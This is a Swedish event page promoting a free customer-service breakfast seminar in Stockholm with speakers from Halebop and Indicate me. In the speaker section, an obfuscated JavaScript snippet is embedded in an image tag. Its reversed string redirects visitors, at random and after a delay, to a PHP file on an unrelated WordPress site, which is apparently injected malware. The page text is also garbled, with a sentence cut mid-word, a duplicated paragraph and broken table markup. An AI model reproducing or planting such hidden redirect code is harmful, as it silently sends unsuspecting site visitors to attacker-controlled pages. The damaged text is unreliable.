Kundservice – effektivisera och öka kundnöjdheten
Onsdagen den 24 januari kommer Indicate me tillsammans med Chefnätverket Close hålla i ett kostnadsfritt frukostseminarium i centrala Stockholm. Under seminariet kommer du få tips om hur du sänker kostnaderna i kundservice och samtidigt ökar kundnöjdheten.
tonde året vunnit titeln om Sveriges nöjdaste mobilkunder 2017 (SKI 2017). Under frukosten pratar Adam Wahrén, Business Manager för Halebop, om de framgångskoncept som har genomförts i kundservice och resulterat i 30% ökad NPS på några få månader.
Verktyg – Öka motivationen genom att delge resultat i realtid
Gemensamt för alla företag, oavsett bransch, är att Information är inte värt någonting om man inte kan omvandla det till insikt och sedan genomföra förbättringar. Lina Bjelkmar, VD Indicate me, talar om hur du skapar en effektivare och mer kvalitativ verksamhet genom att fokusera på några få men effektiva nyckeltalsanalyser inom kundservice.
Gemensamt för alla företag, oavsett bransch, är att Information är inte värt någonting om man inte kan omvandla det till insikt och sedan genomföra förbättringar. Lina Bjelkmar, VD Indicate me, talar om hur du skapar en effektivare och mer kvalitativ verksamhet genom att fokusera på några få men effektiva nyckeltalsanalyser inom kundservice.
Om Föreläsarna |
||
|
|
|
|
| $NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top;” width=”201″>Adam Wahrén, Business Manager, har utvecklat Halebops kundservice till nya nivåer genom ökad NPS och kundnöjdhet. Genom målinriktat arbete har Halebop för åttonde året vunnit titeln om Sveriges nöjdaste mobilkunder 2017 (SKI 2017). |
   Lyckat seminarium om ökad effektivitet och kundnöjdhet i kundservice
| |
